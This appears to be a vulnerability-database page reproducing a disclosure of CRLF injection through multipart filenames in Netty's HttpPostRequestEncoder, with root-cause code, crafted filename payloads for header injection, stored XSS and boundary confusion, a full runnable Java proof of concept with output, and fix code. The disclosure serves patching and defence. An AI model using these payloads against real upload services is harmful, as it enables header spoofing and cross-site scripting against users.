Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N상세 설명
Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
- Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-http multipart) |
| Component | io.netty.handler.codec.http.multipart.HttpPostRequestEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |
| Impact | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |
| CVSS 3.1 Score | 8.1 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low (attacker must be able to upload files with controlled filenames) |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | None |
- Affected Components
The following classes in the codec-http module are affected:
io.netty.handler.codec.http.multipart.HttpPostRequestEncoder— directly concatenates unvalidated filename/name intoContent-DispositionMIME headers (lines 519, 633, 674, 682, 686-688)io.netty.handler.codec.http.multipart.DiskFileUpload—setFilename()only checks null (line 78)io.netty.handler.codec.http.multipart.MemoryFileUpload—setFilename()only checks null (line 60)io.netty.handler.codec.http.multipart.MixedFileUpload—setFilename()delegates without validation (line 62)
- Vulnerability Description
Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.
Root Cause
In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:
1// Line 674 (attachment mode): 2internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " 3 + HttpHeaderValues.ATTACHMENT + "; " 4 + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); 5// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION 6 7// Lines 686-688 (form-data mode): 8internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " 9 + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; "10 + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");11// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION12 13// Line 519 (attribute name):14internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "15 + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n");16// ^^^^^^^^^^^^^^^^^ NO VALIDATIONThe setFilename() method in all FileUpload implementations only checks for null:
1// DiskFileUpload.java:77-79 2public void setFilename(String filename) { 3 this.filename = ObjectUtil.checkNotNull(filename, "filename"); 4 // NO CRLF VALIDATION 5}Comparison with Similar Fixed CVEs
This vulnerability follows the same pattern as:
| CVE | Component | Fix |
|---|---|---|
| GHSA-jq43-27x9-3v86 | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in SmtpUtils.validateSMTPParameters() |
| GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder — CRLF in URI | Added HttpUtil.validateRequestLineTokens() |
The multipart encoder has no equivalent validation for filenames or field names.
- Exploitability Prerequisites
This vulnerability is exploitable when:
- The application uses Netty's
HttpPostRequestEncoderto construct multipart HTTP requests - The filename of an uploaded file is derived from user-controlled input
- The application does not perform its own CRLF sanitization on filenames
Common affected patterns:
- File upload proxies that forward user-supplied filenames
- API gateways that construct multipart requests from incoming parameters
- Microservice communication that passes filenames between services
- Testing/automation frameworks that use Netty HTTP client with user-defined filenames
- Attack Scenarios
Scenario 1: Content-Type Override via Filename Injection
An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:
1String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--"; 2 3DiskFileUpload upload = new DiskFileUpload( 4 "avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize);Wire format:
1--boundary 2content-disposition: form-data; name="avatar"; filename="photo.jpg" 3Content-Type: text/html <-- INJECTED: overrides image/jpeg 4 5<script>alert(document.cookie)</script> <-- INJECTED: XSS payload 6--" 7content-type: image/jpeg <-- Original (now ignored by many parsers) 8...If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.
Scenario 2: Arbitrary MIME Header Injection
1String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.
Scenario 3: Multipart Boundary Confusion
1String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";By injecting a new boundary delimiter, the attacker can:
- Terminate the current body part prematurely
- Start a new body part with a different field name
- Override form fields processed by the server
- Proof of Concept
Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)
1import io.netty.buffer.ByteBuf; 2import io.netty.buffer.Unpooled; 3import io.netty.handler.codec.http.*; 4import io.netty.handler.codec.http.multipart.*; 5 6import java.io.File; 7import java.io.FileWriter; 8import java.nio.charset.StandardCharsets; 9 10/**11 * PoC: HTTP Multipart Content-Disposition Header Injection via Filename12 *13 * Demonstrates that HttpPostRequestEncoder does not validate filenames14 * for CRLF characters, allowing injection of arbitrary MIME headers15 * into multipart form data.16 */17public class MultipartFilenameInjectionPoC {18 19 public static void main(String[] args) throws Exception {20 System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");21 22 testFilenameInjection();23 24 System.out.println("\n=== PoC Complete ===");25 }26 27 static void testFilenameInjection() throws Exception {28 System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition");29 System.out.println("-------------------------------------------------------");30 31 // Create a temporary file for upload32 File tempFile = File.createTempFile("test", ".txt");33 tempFile.deleteOnExit();34 try (FileWriter fw = new FileWriter(tempFile)) {35 fw.write("test content");36 }37 38 // Malicious filename with CRLF to inject Content-Type header39 String maliciousFilename =40 "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" +41 "<script>alert(1)</script>\r\n--";42 43 HttpRequest request = new DefaultHttpRequest(44 HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload");45 46 HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(47 new DefaultHttpDataFactory(false), request, true,48 StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);49 50 DiskFileUpload fileUpload = new DiskFileUpload(51 "file", maliciousFilename, "application/octet-stream",52 "binary", StandardCharsets.UTF_8, tempFile.length());53 fileUpload.setContent(tempFile);54 55 encoder.addBodyHttpData(fileUpload);56 encoder.finalizeRequest();57 58 // Read the encoded multipart body59 StringBuilder body = new StringBuilder();60 while (!encoder.isEndOfInput()) {61 HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());62 if (chunk != null) {63 body.append(chunk.content().toString(StandardCharsets.UTF_8));64 chunk.release();65 }66 }67 encoder.cleanFiles();68 69 String encoded = body.toString();70 System.out.println("Malicious filename: " +71 maliciousFilename.replace("\r", "\\r").replace("\n", "\\n"));72 System.out.println();73 System.out.println("Encoded multipart body:");74 System.out.println("---");75 for (String line : encoded.split("\n", -1)) {76 System.out.println(" " + line.replace("\r", "\\r"));77 }78 System.out.println("---");79 80 boolean hasInjectedHeader = encoded.contains("X-Injected: true");81 boolean hasInjectedScript = encoded.contains("<script>");82 System.out.println();83 System.out.println("Injected X-Injected header: " + hasInjectedHeader);84 System.out.println("Injected script tag: " + hasInjectedScript);85 System.out.println("VULNERABLE: " +86 ((hasInjectedHeader || hasInjectedScript) ?87 "YES - MIME header injection!" : "NO"));88 89 tempFile.delete();90 }91}How to Compile and Run
1# Build Netty (skip tests) 2./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \ 3 -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \ 4 -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \ 5 -Dspotbugs.skip=true -q 6 7# Set classpath 8JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ 9 | grep -v sources | grep -v javadoc | tr '\n' ':')10 11# Compile and run12javac -cp "$JARS" MultipartFilenameInjectionPoC.java13java -cp "$JARS:." MultipartFilenameInjectionPoCPoC Execution Output (Verified on Netty 4.2.12.Final)
1=== Netty Multipart Filename CRLF Injection PoC === 2 3[TEST 1] Filename CRLF Injection in Content-Disposition 4------------------------------------------------------- 5Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n-- 6 7Encoded multipart body: 8--- 9 --88aaade41dbb9f9f\r10 content-disposition: form-data; name="file"; filename="innocent.txt"\r11 Content-Type: text/html\r <-- INJECTED12 X-Injected: true\r <-- INJECTED13 \r14 <script>alert(1)</script>\r <-- INJECTED XSS15 --"\r16 content-length: 12\r17 content-type: application/octet-stream\r18 content-transfer-encoding: binary\r19 \r20 test content\r21 --88aaade41dbb9f9f--\r22---23 24Injected X-Injected header: true25Injected script tag: true26VULNERABLE: YES - MIME header injection!27 28 29=== PoC Complete ===
- Impact Analysis
| Impact Category | Description |
|---|---|
| Confidentiality | HIGH — Injected headers may bypass access controls or leak tokens |
| Integrity | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation |
| Content-Type Spoofing | Override application/octet-stream to text/html to serve executable content |
| Stored XSS | Inject <script> tags via Content-Type override when uploaded files are served back |
| Form Field Override | Inject new multipart boundaries to create/override form fields |
| Downstream Injection | Custom MIME headers may affect middleware, CDN, or storage layer behavior |
- Remediation Recommendations
Option 1: Validate in FileUpload.setFilename() (Recommended)
1// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java 2public void setFilename(String filename) { 3 ObjectUtil.checkNotNull(filename, "filename"); 4 for (int i = 0; i < filename.length(); i++) { 5 char c = filename.charAt(i); 6 if (c == '\r' || c == '\n') { 7 throw new IllegalArgumentException( 8 "filename contains prohibited CRLF character at index " + i); 9 }10 }11 this.filename = filename;12}Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)
Escape or reject CRLF characters when building Content-Disposition headers:
1// HttpPostRequestEncoder.java - add helper method 2private static String sanitizeHeaderParam(String value) { 3 for (int i = 0; i < value.length(); i++) { 4 char c = value.charAt(i); 5 if (c == '\r' || c == '\n' || c == '"') { 6 throw new ErrorDataEncoderException( 7 "Multipart parameter contains prohibited character at index " + i); 8 } 9 }10 return value;11}12 13// Then use in Content-Disposition construction:14internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");Option 3: RFC 2231/5987 Encoding for Filenames
Use proper RFC 2231 encoding for filenames with special characters:
1// Encode filename per RFC 5987: 2// filename*=UTF-8''encoded%20filename 3String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8"); 4internal.addValue(... + "filename*=" + encodedFilename + "\r\n");
- References
- RFC 2183: Content-Disposition Header Field
- RFC 7578: Returning Values from Forms: multipart/form-data
- RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters
- CWE-93: Improper Neutralization of CRLF Sequences
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
- GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)
- GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.